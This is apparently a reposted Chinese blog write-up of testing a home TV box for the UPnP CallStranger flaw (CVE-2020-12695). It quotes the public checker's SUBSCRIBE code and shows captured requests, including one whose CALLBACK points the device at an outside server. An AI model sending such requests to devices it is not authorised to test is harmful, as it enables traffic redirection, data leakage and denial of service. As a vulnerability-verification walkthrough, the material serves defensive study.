一次对电视盒子的漏洞分析

周末正要使用前不久刚装上的电视盒子看剧,突然想到电视盒子也是需要网络的,于是就对电视盒子开始了测试之路。

上路

首先看一下ip地址,192.168.101.22

一次对电视盒子的漏洞分析

首先想到的是命令执行,经过一番操作发现并不存在,看来系统都是升级了的。

扫描端口发现49152端口打开,详细扫描发现是Upnp服务

一次对电视盒子的漏洞分析

突然想到了今年6月的UPnP协议漏洞CVE-2020-12695,UPnP 2020-04-17之前版本中存在安全漏洞。攻击者可借助SUBSCRIBE功能利用该漏洞将流量发送到任意位置,导致拒绝服务或数据泄露。UPnP全称为Universal Plug and Play,即通用即插即用,UPnP允许各种网络设备在没有任何特殊设置或配置的情况下进行通信,使设备彼此可自动连接和协同工作。在UPnP协议规范中有一个非常重要的功能模块,叫做事件(Eventing)。在UPnP服务进行的时间内,只要设备用于UPnP服务的变量值发生变化或者模式发生了改变,就会产生一个事件,随之向整个网络进行广播。或者用户可以事先向UPnP设备发送订阅请求,保证UPnP设备及时地将事件传送过来。

关于UPnP的NT与CALLBACK订阅模块有如下格式:

一次对电视盒子的漏洞分析

CALLBACK的值一般为回调地址的URL。NT取upnp:event表示订阅事件。

UPnP协议规范文档中提到:CALLBACK是必填区域,所填信息为发送事件信息的URL。一般情况下为UPnP供应商指定。如果其中定义了不止一个URL,设备会按顺序尝试连接,直到有一个连接成功。每个URL一般为HTTP协议(即前缀为””)。

验证工具:https://github.com/yunuscadirci/CallStranger

解压后进入CallStranger目录

安装工具python3 setup.py install

安装完之后接下来开始利用:

利用之前先看一下这个工具的部分代码:

def subscribe(URL,callbackURL): myheaders = { 'User-Agent':'Callstranger Vulnerability Checker', 'CALLBACK': '<'+callbackURL+'>', 'NT': 'upnp:event', 'TIMEOUT': 'Second-300'} #print(URL,callbackURL,'sending') req = requests.request('SUBSCRIBE', URL,headers=myheaders) if req.status_code==200: print(colored('Subscribe to '+URL+' seems successfull','green')) print(req.headers) print(req.text) else: print(colored('Subscribe to '+URL+' failed with status code:'+str(req.status_code),'red')) print(req.headers) print(req.text)

首先对目标进行subscribe订阅请求,并从header里加入一个CALLBACK的值来进行回调,CALLBACK的值为指定的url,如果订阅成功就会返回200,表示订阅成功,很可能存在漏洞。

对当前网络进行扫描和测试:python3 CallStranger.py

找到了三个Upnp设备:华为路由器、客厅盒子、客厅极光TV

一次对电视盒子的漏洞分析

如下图,扫描利用完毕,标记为红色的是确定有漏洞得,标记为黄色的是疑似的。

一次对电视盒子的漏洞分析

接下来我们通过流量分析来看看具体干了哪些事情。

如下图,首先回调的设备需要一个自己的session

一次对电视盒子的漏洞分析

然后通过将获得的session值加入到token里再次put请求得到一组key值

PUT /CallStranger.php?c=getservices&token=xxx HTTP/1.1 Host: 20.42.105.45 User-Agent: python-requests/2.22.0 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Content-Length: 0

一次对电视盒子的漏洞分析

然后再将获取到的token和key值加入到SUBSCRIBE请求的回调值里进行请求:

SUBSCRIBE /_urn:schemas-upnp-org:service:AVTransport_event HTTP/1.1 Host: 192.168.101.22:49152 User-Agent: Callstranger Vulnerability Checker Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive CALLBACK: <:80/CallStranger.php?c=addservice&service=gAAAAABfH-vGuHsXhAuU73sw.........=&token=........> NT: upnp:event TIMEOUT: Second-300 Content-Length: 0

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/433ef73300da3299aa0f6716f6c4e66f.html